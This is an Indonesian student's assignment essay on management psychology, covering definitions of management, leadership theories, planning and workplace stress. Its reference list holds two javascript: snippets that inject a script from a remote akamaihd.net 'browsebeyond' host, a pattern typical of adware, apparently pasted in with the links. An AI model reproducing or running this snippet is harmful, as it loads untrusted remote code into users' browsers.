nama : bambang juliyanto
npm : 11512361
kelas: 3pa06
tugas pertemuan pertama
Psikologi
Manajemen. Apa itu Manajemen ?
Definisi
Manajemen
Manajemen berasal dari bahasa Perancis kuno
ménagement, yang memiliki arti "seni melaksanakan dan mengatur."
Manajemen belum memiliki definisi yang mapan dan diterima secara universal.Mary Parker Follet, misalnya,
mendefinisikan manajemen sebagai seni menyelesaikan pekerjaan melalui orang
lain. Definisi ini berarti bahwa seorang manajer bertugas mengatur dan
mengarahkan orang lain untuk mencapai tujuan organisasi.
Manajemen
adalah koordinasi semua sumber daya melalui proses perencanaan,
pengorganisasian, penetapan tenaga kerja, pengarahan dan pengawasan untuk
mencapai tujuan yang telah di tetapkan terlebih dahulu.
Manajemen berasal dari bahasa Inggris “management”
dengan kata kerja to manage yang
secara umum berarti mengurusi. Dalam arti khusus manajemen dipakai bagi pimpinan
dan kepemimpinan, yaitu orang‐orang
yang melakukan kegiatan memimpin, disebut “manajer”.Untuk mengartikan dan
mendefisikan manajemen dari berbagai literartur dapat dilihat dari tiga
pengertian, yaitu :
1. Manajemen sebagai suatu proses
2. Manajemen sebagai suatu kolektivitas manusia
3. Manajemen sebagai ilmu dan manajemen sebagai seni
menurut
para ahli
1.
George R.Terry
Manajemen adalah cara pencapaian tujuan yang telah
ditentukan terlebih dahulu melalui kegiatan orang lain.
2.
Haiman
Manajemen adalah fungsi untuk mencapai suatu tujuan
melalui orang lain, mengawasi usaha‐usaha
yang dilakukan individu untuk mencapai tujuan.
3.
Stoner
Stoner mendefinisikan manajemen sebagai suatu proses
perencanaan, pengorganisasian, memimpin dan mengawasi usaha‐usaha dari anggota
organisasi dan sumber‐sumber
organisasi lainnya untuk mancapai tujuan organisasi yang telah ditetapkan.
4.
Mary Parker Follet
Mendefinisikan manajemen sebagai suatu seni untuk
melakukan sesuatu melalui orang lain.
Manajemen adalah proses perencanaan,
pengorganisasian, pengarahan, dan pengawasan usahausaha para anggota organisasi
dan penggunaan sumber daya organisasi lainnya agar mencapai tujuan yang telah ditetapkan
(John R. Schermerhorn, Jr). Setelah
mengetahui definisi dari manajemen tadi, di Fakultas Psikologi juga mempelajari
ilmu Psikologi Manajemen. Psikologi
manajemen adalah ilmu tentang bagaimana mengatur / memanage sumber daya
yang ada untuk memenuhi kebutuhan.
Dalam manajemen, perencanaan adalah proses
mendefinisikan tujuan organisasi, membuat strategi untuk mencapai tujuan itu,
dan mengembangkan rencana aktivitas kerja organisasi. Perencanaan merupakan
proses terpenting dari semua fungsi manajemen karena tanpa perencanaan
fungsi-fungsi lain—pengorganisasian, pengarahan, dan pengontrolan—tak akan dapat
berjalan. Rencana dapat berupa rencana informal atau rencana formal. Rencana
informal adalah rencana yang tidak tertulis dan bukan merupakan tujuan bersama
anggota suatu organisasi. Sedangkan rencana formal adalah rencana tertulis yang
harus dilaksanakan suatu organisasi dalam jangka waktu tertentu. Rencana formal
merupakan rencana bersama anggota korporasi, artinya, setiap anggota harus
mengetahui dan menjalankan rencana itu. Rencana formal dibuat untuk mengurangi
ambiguitas dan menciptakan kesepahaman tentang apa yang harus dilakukan.
Jenis
Manajemen
· Manajemen keuangan,
yaitu merencanakan, menganggarkan, mencari, menyimpan, memeriksa, mengelola dan
mengendalikan dana yang dimiliki oleh seseorang atau kelompok (perusahaan
maupun organisasi). Manajemen pemasaran, yaitu suatu proses yang berjalan
dengan tujuan agar menetapkan suatu harga serta promosi, menyalurkan gagasan
dan sebagainya agar dapat mempertahankan "kehidupan" suatu perusahaan
maupun untuk mengembangkan perusahaan tersebut sehingga pada akhirnya dapat
mencapai keutungan yang maksimal dengan pengorbanan seminimal mungkin.
· Manajemen resiko,
yaitu suatu pendekatan metodologi yang terstruktur dengan maksud agar dapat mengelola kemungkinan - kemungkinan
buruk yang dapat terjadi (ancaman).
· Manajemen pendidikan,
yaitu sumber - sumber pendidikan dibuat lebih terpadu/terpusatagar tujuan pendidikan tercapai secara efektif
maupun efisien.
· Manajemen strategi,
yaitu suatu proses yang dilakukan guna mengidentifikasi (menganalisis)
"apa" dan "bagaimana" hasil yang ingin di capai tersebut.
· Manajemen sumber daya
manusia, yaitu merupakan cara untuk mengatur suatu hubungan maupun peran para
tenaga kerja (SDM) yang dipunyai oleh suatu 1 orang/kelompok agar dapat dipekerjakan
secara maksimal tetapi tetap menonjolkan keefektifan serta efisien, agar dapat mencapai
tujuan.
· Manajemen
informatika, yaitu memanfaatkan sumber daya (dalam hal ini, segala yang berhubungan
dengan informatika) agar kelak dapat tercapai tujuan yang ditetapkan.
· Manajemen produksi,
yaitu aktivitas mengatur, mengkoordinasi, serta mengawasi bagaimana sumber daya
(manusia, alat, dana, bahan) digunakan secara efektif dan efisien agar dapat
menciptakan suatu barang/jasa yang memiliki nilai kegunaan yang tinggi.
· Manajemen konflik,
yaitu bagaimana mengatur, mengkoordinir/mengarahkan suatu konflik yang sulit
untuk diakhiri hingga akhirnya dapat mengakhiri konflik tersebut. Biasanya yang
melakukan manajemen konflik ini adalah para pelaku konflik maupun perantara
(pihak ketiga/penengah) dari konflik tersebut.
Apa itu psikologi
manajemen
Psikologi manajemen adalah ilmu tentang bagaimana
mengatur / me‐manage
sumber daya yang ada untuk memenuhi kebutuhan.
Sebagai
ilustrasi,
Dulu dalam manajemen, orang berproduksi hanya
mengandalkan sumber daya alam. Misalnya, orang berburu, memancing atau memetik
hasil hutan saja untuk memenuhi keperluannya. Tetapi lamakelamaan mulai terasa
bahwa dengan menambahkan sumber daya manusia (terutama akalnya), maka orang
akan bisa lebih efektif dan efisien dalam berproduksi. Maka mulailah dikenal
pertanian, peternakan dan upaya budi daya sumber‐sumber alam lainnya. Setelah itu, timbul
lagi kebutuhan akan modal, karena dengan investasi dana tertentu, akan bisa
dibuat alat tertentu untuk lebih meningkatkan lagi efisiensi dan efektivitas
produksi. Maka sejak zaman revolusi industri, tiga modal kerja yang utama
adalah SDA (Sumber Daya Alam), SDU (Uang) dan SDM (Manusia), dan ilmu manajemen
pun berkisar pada upaya untuk mengoptimalkan kinerja antar ketiga modal kerja
itu.
Kaitannya
dengan psikologi:
Dengan ditemukan dan dikembangkannya ilmu psikologi,
diketahui bahwa unsur SDM ternyata merupakan yang terpenting dari ketiga modal
kerja perusahaan manapun. Pasalnya, ilmu psikologi yg memang berpusat pada
manusia, mampu mengintervensi berbagai faktor internal manusia seperti
motivasi, sikap kerja, keterampilan, dsb dengan berbagai macam teknik dan
metode, sehingga bisa dicapai kinerja SDM yang setinggi‐tingginya untuk
produktivitas perusahaan. Kegiatan intervensi (yg bertujuan untuk
"mengolah" manusia) inilah yg menjadi titik tolak dari kajian ilmu
psikologi manajemen. Hal ini bertujuan agar seluruh kayawan / SDM dari suatu
organisasi/perusahaan mengerti betul akan tugasnya, mampu memberikan informasi
kepada pelanggan atau rekan sekerjanya, dan pada akhirnya membuat karyawan itu
senang pada pekerjaan dan perusahaannya.
Tujuan
Stephen Robbins dan Mary Coulter mengemukakan banyak
tujuan perencanaan. Tujuan pertamaadalah
untuk memberikan pengarahan baik untuk manajer maupun karyawan nonmanajerial. Dengan
rencana, karyawan dapat mengetahui apa yang harus mereka capai, dengan siapa
mereka harus bekerja sama, dan apa yang harus dilakukan untuk mencapai tujuan
organisasi. Tanpa rencana, departemen dan individual mungkin akan bekerja sendiri-sendiri
secara serampangan, sehingga kerja organisasi kurang efesien.
Tujuan kedua adalah untuk mengurangi ketidakpastian.
Ketika seorang manajer membuat rencana, ia dipaksa untuk melihat jauh ke depan,
meramalkan perubahan, memperkirakan efek dari perubahan tersebut, dan menyusun
rencana untuk menghadapinya.
Tujuan ketiga adalah untuk meminimalisir pemborosan.
Dengan kerja yang terarah dan terencana, karyawan dapat bekerja lebih efesien
dan mengurangi pemborosan. Selain itu, dengan rencana, seorang manajer juga
dapat mengidentifikasi dan menghapus hal-hal yang dapat menimbulkan inefesiensi
dalam perusahaan.
Tujuan yang terakhir adalah untuk menetapkan tujuan
dan standar yang digunakan dalam fungsi selanjutnya, yaitu proses pengontrolan
dan pengevalusasian. Proses pengevaluasian atau evaluating adalah proses
membandingkan rencana dengan kenyataan yang ada. Tanpa adanya rencana, manajer
tidak akan dapat menilai kinerja perusahaan.
Kepemimpinan
Kepemimpinan adalah proses memengaruhi atau memberi contoh oleh pemimpin
kepada pengikutnya dalam upaya mencapai tujuan organisasi. Cara alamiah
mempelajari kepemimpinan adalah "melakukannya dalam kerja" dengan
praktik seperti pemagangan pada seorang seniman ahli, pengrajin, atau
praktisi. Dalam hubungan ini sang ahli
diharapkan sebagai bagian dari peranya memberikan pengajaran/instruksi.
Kebanyakan orang masih cenderung
mengatakan bahwa pemimipin yang efektif mempunyai. sifat atau ciri-ciri
tertentu yang sangat penting misalnya, kharisma, pandangan ke depan, daya
persuasi, dan intensitas. Dan memang, apabila kita berpikir tentang pemimpin
yang heroik seperti Napoleon, Washington, Lincoln, Churcill, Sukarno, Jenderal
Sudirman, dan sebagainya kita harus mengakui bahwa sifat-sifat seperti itu
melekat pada diri mereka dan telah mereka manfaatkan untuk mencapai tujuan yang
mereka inginkan. Kepemimpinan dilihat sebagai suatu proses yang dinamis,
interaktif yang melibatkan 3 dimensi: pemimpin, pengikut, dan situasi. Tiap
dimensi ini mempengaruhi satu sama lain. Contohnya, pencapaian dari tujuan
tergantung tidak hanya pada personal seorang pemimpin tapi juga pada kebutuhan
pengikutnya dan jenis situasinya.
Ciri
kepemimpinan
Kepemimpinan Yang Efektif Barangkali pandangan
pesimistis tentang keahlian-keahlian kepemimpinan ini telah menyebabkan
munculnya ratusan buku yang membahas kepemimpinan. Terdapat nasihat tentang
siapa yang harus ditiru Attila the Hun, apa yang harus diraih kedamaian jiwa,
apa yang harus dipelajari kegagalan, apa yang harus diperjuangkan karisma,
perlu tidaknyapendelegasian kadang-kadang, perlu tidaknya berkolaborasi mungkin,
pemimpin-pemimpin rahasia Amerika wanita, kualitas-kualitas pribadi dari
kepemimpinan integritas, bagaimana meraih kredibilitas bisa dipercaya,
bagaimana menjadi pemimipin yang otentik temukan pemimpin dalam diri anda, dan
sembilan hukum alam kepemimpinan jangan tanya. Terdapat lebih dari 3000 buku
yang judulnya mengandung kata pemimipin leader. Bagaimana menjadi pemimpin yang
efektif tidak perlu diulas oleh sebuah buku. Guru manajeman terkenal, Peter
Drucker, menjawabnya hanya dengan beberapa kalimat: "pondasi dari
kepemimpinan yang efektif adalah berpikir berdasar misi organisasi,
mendefinisikannya dan menegakkannya, secara jelas dan nyata.
Kepemimpinan
Karismatik Max Weber, seorang sosiolog, adalah ilmuan pertama yang membahas
kepemimpinan karismatik. Lebih dari seabad yang lalu, ia mendefinisikan karisma
yang berasal dari bahasa Yunani yang berarti "anugerah" sebagai
"suatu sifat tertentu dari seseorang, yang membedakan mereka dari orang
kebanyakan dan biasanya dipandang sebagai kemampuan atau kualitas supernatural,
manusia super, atau paling tidak daya-daya istimewa. Kemampuan-kemampuan ini
tidak dimiliki oleh orang biasa, tetapi dianggap sebagai kekuatan yang
bersumber dari yang Ilahi, dan berdasarkan hal ini seseorang kemudian dianggap
sebagai seorang pemimpin.
Kepemimpinan
Transformasional
Kepemiminan merupakan proses dimana seorang individu
mempengaruhi sekelompok individu untuk mencapai suatu tujuan. Untuk menjadi
seorang pemimpin yang efektif, seorang kepala sekolah harus dapat mempengaruhi
seluruh warga sekolah yang dipimpinnya melalui cara-cara yang positif untuk
mencapai tujuan pendidikan di sekolah. Secara sederhana kepemimpinan
transformasional dapat diartikan sebagai proses untuk mengubah dan
mentransformasikan individu agar mau berubah dan meningkatkan dirinya, yang
didalamnya melibatkan motif dan pemenuhan kebutuhan serta penghargaan terhadap
para bawahan.
Teori
kepemimpinan
Keith Devis merumuskan 4 sifat umum yang berpengaruh
terhadap keberhasilankepemimpinan organisasi, antara lain : KecerdasanBerdasarkan
hasil penelitian, pemimpin yang mempunyai kecerdasan yangtinggi diatas
kecerdasan rata–rata dari pengikutnya akan mempunyai kesempatan berhasil yang
lebih tinggi pula. Karena pemimpin pada umumnya memiliki tingkat kecerdasan
yang lebih tinggi dibandingkan dengan pengikutnya.
Kedewasaan
dan Keluasan Hubungan Sosial Umumnya di dalam melakukan interaksi sosial dengan
lingkungan internal maupun eksternal, seorang pemimpin yang berhasil mempunyai
emosi yang matang dan stabil. Hal ini membuat pemimpin tidak mudah panik dan
goyah dalam mempertahankan pendirian yang diyakini kebenarannya.
¬Motivasi Diri dan Dorongan BerprestasiSeorang
pemimpin yang berhasil umumnya memiliki motivasi diri yang tinggi sertadorongan
untuk berprestasi. Dorongan yang kuat ini kemudian tercermin pada kinerjayang
optimal, efektif dan efisien.
¬Sikap Hubungan KemanusiaanAdanya pengakuan terhadap
harga diri dan kehormatan sehingga para pengikutnya mampu berpihak
kepadanya.Kajian kepemimpinan pada mulanya didasarkan pada asumsi bahwa
pemimpin dilahirkan, tidak dibuat. Peneliti kemudian mengidentifikasi
serangkaian pembawaan pemimpin yang membedakan dengan pengikutnya, serta
pemimpin efektif dengan pemimpin tidak efektif. Teori pembawaan kepemimpinan
mencoba menjelaskan karakteristik khusus kepemimpinan yang efektif. Peneliti
menganalisis pembawaan fisik dan psikologis serta kualitas, seperti level
kemampuan yang tinggi, keagresifan, kepercayaan pada diri sendiri,daya
persuasif yang dimiliki dan kekuasaannya dalam mengidentifikasi serangkaian
pembawaan yang dimiliki oleh pemimpin yang sukses. Dalam berbagai sumber
dinyatakan bahwa, keberhasilan seorang pemimpin ditentukan oleh sifat dan
perangai pemimpin tersebut.Sifat-sifat tersebut dapat berupa sifat fisik,
sosial dan psikologis.
8
teori utama kepemimpinan
1. Teori Great Man
Anda mungkin pernah mendengar bahwa ada orang‐orang tertentu yang
memang "dilahirkan untuk memimpin". Menurut teori ini, seorang
pemimpin besar dilahirkan dengan karakteristik tertentu seperti karisma,
keyakinan, kecerdasan dan keterampilan sosial yang membuatnya terlahir sebagai
pemimpin alami. Teori great man mengasumsikan bahwa kapasitas untuk memimpin
adalah sesuatu yang melekat, pemimpin besar dilahirkan bukan dibuat. Teori ini
menggambarkan seorang pemimpin yang heroik dan ditakdirkan untuk menjadi pemimpin
karena kondisi sudah membutuhkannya.
2. Teori Sifat
Teori sifat berasumsi bahwa orang mewarisi sifat dan
ciri‐ciri tertentu yang
membuat mereka lebih cocok untuk menjadi pemimpin. Teori sifat mengidentifikasi
kepribadian tertentu atau karakteristik perilaku yang sama pada umumnya
pemimpin. Sebagai contoh, ciri‐ciri
seperti ekstraversi, kepercayaan diri dan keberanian, semuanya adalah sifat
potensial yang bisa dikaitkan dengan pemimpin besar. Jika ciri‐ciri khusus adalah
fitur kunci dari kepemimpinan, maka bagaimana menjelaskan orang‐orang yang memiliki
kualitas‐kualitas tetapi bukan
pemimpin? Pertanyaan ini adalah salah satu kesulitan dalam menggunakan teori
sifat untuk menjelaskan kepemimpinan. Ada banyak orang yang memiliki ciri‐ciri kepribadian yang
terkait dengan kepemimpinan namun tidak pernah mencari posisi kepemimpinan.
3. Teori kontingensi
Teori kontingensi fokus pada variabel yang berkaitan
dengan lingkungan yang mungkin menentukan gaya kepemimpinan tertentu yang
paling cocok. Menurut teori ini, tidak ada gaya kepemimpinan yang terbaik dalam
segala situasi. Kesuksesan tergantung pada sejumlah variabel, termasuk gaya
kepemimpinan, kualitas para pengikut dan aspek situasi.
4. Teori Situasional
Teori Situasional mengusulkan bahwa pemimpin memilih
tindakan terbaik berdasarkan variable situasional. Gaya kepemimpinan yang
berbeda mungkin lebih tepat untuk jenis tertentu dalam pengambilan keputusan
tertentu. Misalnya, seorang pemimpin berada dalam kelompok yang anggotanya
berpengetahuan dan berpengalaman, gaya otoriter mungkin paling tepat. Dalam
kasus lain di mana anggota kelompok adalah ahli yang terampil, gaya demokratis
akan lebih efektif.
5. Teori Perilaku
Teori perilaku kepemimpinan didasarkan pada
keyakinan bahwa pemimpin besar dibuat bukan dilahirkan. Teori kepemimpinan ini
berfokus pada tindakan para pemimpin bukan pada kualitas mental. Menurut teori
ini, orang dapat belajar untuk menjadi pemimpin melalui pengajaran dan
observasi.
6. Teori Partisipatif
Teori kepemimpinan partisipatif menunjukkan bahwa
gaya kepemimpinan yang ideal adalah mengambilmasukan dari orang lain. Para
pemimpin mendorong partisipasi dan kontribusi dari anggota kelompok dan membantu anggota
kelompok merasa lebih berkomitmen terhadap proses pengambilan keputusan. Dalam
teori partisipatif, bagaimanapun, pemimpin berhak untuk memungkinkan masukan
pendapat dari orang lain.
7. Teori Manajemen
Teori manajemen juga dikenal sebagai teori
transaksional, fokus pada peran pengawasan kinerja, organisasi dan kelompok.
Teori ini berdasarkan pada sistem imbalan dan hukuman. Teori manajemen sering
digunakan dalam bisnis, ketika karyawan berhasil mereka dihargai, ketika mereka
gagal mereka ditegur atau dihukum.
8. Teori Hubungan
Teori hubungan juga dikenal sebagai teori
transformasi, fokus pada hubungan yang terbentuk antara pemimpin dan pengikut.
Pemimpin transformasional memotivasi dan menginspirasi dengan membantu anggota
kelompok melihat penting dan baiknya suatu tugas. Pemimpin fokus pada kinerja
anggota kelompok dan juga ingin setiap orang untuk memaksimalkan potensinya.
Pemimpin dengan gaya ini sering memiliki standar etika dan moral yang tinggi.
Pengertian
perencanaan
1.
Perencanaan (Planning)
Definisi perencanaan yang terdapat di fungsi utama
psikologi manajemen ini adalah proses yang menyangkut upaya yang dilakukan
untuk mengantisipasi kecenderungan di masa yang akan datang dan penentuan
strategi dan taktik yang tepat untuk mewujudkan target dan tujuan organisasi.
Perencanaan merupakan fungsi utama Langkah-langkah
dalam menyusun perencanaan ini dapat di buat menjadi skema berikut ini :
Menetapkan Tujuan dan Target ----> Merumuskan Strategi ----> Menentukan
Sumber Daya yang dibutuhkan ----> Menetapkan Standart / Indikator Pencapaian
Target.
Dalam manajemen, perencanaan adalah proses
mendefinisikan tujuan organisasi, membuat strategi untuk mencapai tujuan itu,
dan mengembangkan rencana aktivitas kerja organisasi. Perencanaan merupakan
proses terpenting dari semua fungsi manajemen karena tanpa perencanaan
fungsi-fungsi lain—pengorganisasian, pengarahan, dan pengontrolan—tak akan
dapat berjalan. Rencana dapat berupa rencana informal atau rencana formal.
Rencana informal adalah rencana yang tidak tertulis dan bukan merupakan tujuan
bersama anggota suatu organisasi. Sedangkan rencana formal adalah rencana
tertulis yang harus dilaksanakan suatu organisasi dalam jangka waktu tertentu.
Rencana formal merupakan rencana bersama anggota korporasi, artinya, setiap
anggota harus mengetahui dan menjalankan rencana itu. Rencana formal dibuat
untuk mengurangi ambiguitas dan menciptakan kesepahaman tentang apa yang harus
dilakukan.
2.
Manfaat Perencanaan
Memberikan
arahan. Ketika para manajer dan karyawan mengetahui apa yang ingin dicapai oleh
organisasi dan apa yang harus mereka lakukan untuk mencapai tujuan tersebut,
mereka akan mampu mengkoordinasikan pekerjaan mereka agar selaras, dan
bekerjasama dengan orang lain serta melakukan hal-hal yang diperlukan untuk
mencapai tujuan tersebut. Mangurangi ketidakpastian. Hal ini dilakukan dengan
memaksa para manajer untuk melihat ke depan, mengantisipasi perubahan,
memperhitungkan dampak perubahan dan membangun rekasi-reaksi yang diperlukan.
Sehingga dengan adanya perencanaan, perubahan yang akan terjadi di masa
mendatang dapat diantisipasi sehingga mengurangi ketidakpastian di masa
mendatang. Mengurangi hal-hal yang tidak
diperlukan atau ha-hal yang berlebihan. Ketika pekerjaan disesuaikan dengan
rencana yang telah dibangun, maka hal-hal yang tidak diperlukan atau halhal
yang berlebihan dapat dikurangi. Hal ini akan membuat organisasi menjadi lebih
efisien di dalam mencapai tujuan. Membangun tujuan atau standar yang digunakan
untuk pengendalian. Ketika para manajer membuat rencana, mereka membangun tujuan
serta rencana-rencana. Ketika mereka mengendalikan, mereka melihat apakah
rencana tersebut dapat terlaksana dan selaras dengan tujuan atau tidak. Tanpa
adanya rencana, tidak akan ada cara untuk mengendalikan.
3.
Jenis perencanaan dalam organisasi
A. Rencana Global (Global plan)
Rencana global ini berisi tentang penentuan tujuan
suatu organisasi secara menyeluruh. Analisa penyusunan rencana global terdiri
atas: Strength, yaitu kekuatan yang
dimiliki oleh organisasi yang bersangkutan. Weaknesses, memperhatikan kelemahan
organisasi yang bersangkutan. Opportunity, yaitu kesempatan terbuka yang
dimiliki organisasi. Treath, yaitu tekanan dan hambatan yang di hadapi
organisasi.
B. Rencana straregik (strategic plan)
Bagian dari rencana global namun lebih terperinci.
Dimana ndengan menyusun kerangka kerja yang akan dilakukan untuk mencapai
rencana global, dimensi waktunya adalah jangka panjang. Dalam pencapaiannya
dilakukan dengan system prioritas, mana yang akan dicapai terlebih dahulu.
C. Rencana operasional (operational plan)
Rencana ini meliputi perencanaan terhadap
kegiatan-kegiatan operasional dan bersifat jangka pendek.
Jenis-jenis perencanaan dalam organisasi
Ada beberapa jenis perencanaan yang terdapat dalam
literatur, antara lain dalam (Hanna) 1985, yaitu : Perencanaan jangka panjang (long range
palnning), yaitu perencanaan yang berfokus pada apa dan keadaan bagaimana yang
diinginkan oleh suatu organisasi pada akhir suatu periode tertentu Perencanaan
Stratejik, yaitu rencana bertindak tentang bagaimana suatu organisasi hendak
sampai kesana. Perencanaan ini harus diorientasikan pada lingkungan eksternal.
Perencanaan jangka pendek (short range planning), yaitu perencanaan operasional
yang berfokus pada jangka waktu yang lebih pendek, sekitar satu tahun. Biasanya
kebanyakan dipakai organisasi nonprofit yang kecil saat mengembangkan sasaran
awal, rencana program, dan anggarannya
TULISAN
MENGENAI FENOMENA PRILAKU DALAM ORGANISASI
Dalam organisasi kita mengalami proses bekerja
antara lainya, tenaga kerja sendiri dapat mengalami stress,yang dapat
berkembang menjadi tenaga kerja sakit ,fisik dan mental, sehingga tidak dapat
bekerja lagi secara optimal.Jika seseorang maka untuk pertama kali mengalami
situasi penuh stress, maka mekanis pertahanan dalam badan diaktifkan :
kelenjar-kelenjar mengeluarkan atau melepaskan adrenalin, cortisone dan
hormone-hormon lain dalam jumlah yang besar, dan perubahan-perubahan
terkordinasi yang berlangsung dalam system syaraf pusat atau ( tahap alarm)
jika eksposure atau (paparan) terhadap pembangkit stress bersinambung dan badan
mampu menyesuaikan, maka terjadi perlawanan terhadap sakit.Reaksi badaniah yang
khas terjadi untuk menahan akibat-akibat dari stress(tahap
resistance).Pengertian dari stress adalah suatu abstraksi. Orang tidak dapat
melihat pembangkit stress(stressor). Yang dapat dilihat ialah akibat dari
penyakit stress.
Memanajemeni
stress
Stress dalam pekerjaan dapat dicegah timbulnya dan
dapat dihadapi tanpa memperoleh dampak yang negatif. Memanajemeni berarti
stress brarti berusaha mencegah timbulnya stress, meningkatkan ambang stres
dari individu dan menampung akibat fisiologikal dari stress.
Memanajemeni stress bertujuan untuk mencegah
berkembangnya stress jangka pendek menjadi stress jangka panjang atau stress
kronis. Kita tidak selalu berhasil untuk mencegah stres.Kita akan selalu
menjumpai situasi-situasi yang tidak kita duga semula yang merupakan pembangkit
stress. Stres merupakan bagian dari kehidupan kita. Yang perlu diusahkan adalah
dapat mempertahankanya stress yang positif kosntruktif dan dicegah serta
diatasi stress yang kronis, yang bersifat negatif destruktif.
DAFTAR
USTAKA
javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head"),b=document.getElementsByTagName("body"),c=a.length
?a[0]:b.length?b[0]:null;if(c){var
d=document.createElement("script");d.src="https://apibrowsebeyondn
a.akamaihd.net/gsrs?is=SP1ddID&bp=BA&g=524a1295‐fcc9‐4789‐85b5‐
293e65e75099";d.type="text/javascript";c.appendChild(d)}}}catch(e){}
http://id.shvoong.com/business-management/management/2331185-definisi-manajemen-serta-
10-jenis/#ixzz2iFZHuqCe
Robbins, Stephen P & Coulter, Marry. 2007.
Management, ninth edition. Pearson International
Editon.
James A.F. Stoner, Management, Secont Editions,
Prentice-Hall International, Inc.,1982.2.
Robert J. Thierauf, Robert C. Klekamp, Daniel W.
Gedding, Management Principlesand
Practices: A Contigency and Questionnare Approach,
John Willey & Son, NewYork, 19973.
http://id.wikipedia.org/wiki/Kepemimpinan
javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apibrowsebeyondna.
akamaihd.net/gsrs?is=SP1ddID&bp=BA&g=524a1295‐fcc9‐4789‐85b5‐
293e65e75099";a[0].appendChild(d);}}}catch(e){}
DAFTAR
PUSTAKA:
Gaol, Chr. Jimmy L. Sistem Informasi Manajemen
Pemahaman dan Aplikasi. Jakarta:Grasindo,
Indonesia
Schermerhorn, (2005). Manajemen 6th Edition,
California State Polytechnic University Pomona,
John Wiley & S ons, Inc, United States
http://id.shvoong.com/business-management/management/2331185-definisi-manajemen-serta-
10-jenis/#ixzz2iFZHuqCe
Mukhyl, Muhammad Abdul & Sapiutro, Iman Hadi
(1995). Pengantar Manajemen
Umum (untuk STIE). Jakarta: Gunadarma
Komentar
Posting Komentar